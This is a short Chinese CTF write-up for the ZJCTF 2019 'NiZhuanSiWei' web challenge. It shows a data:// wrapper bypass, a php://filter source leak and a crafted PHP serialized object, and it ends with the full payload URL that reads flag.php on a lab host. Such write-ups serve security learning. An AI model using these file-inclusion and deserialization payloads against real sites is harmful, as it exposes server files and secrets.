[ZJCTF 2019]NiZhuanSiWei
进入网址
源码分析
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
源码分析
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;``
用php://filter协议
php://filter/read=convert.base64-encode/resource=useless.php
base64解码获得useless.php源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
执行下面代码
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
得
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
整个路径(结合题目)
http://a0f9a63c-801f-4eae-872b-f053effdb5e1.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
进入
查看源代码得flag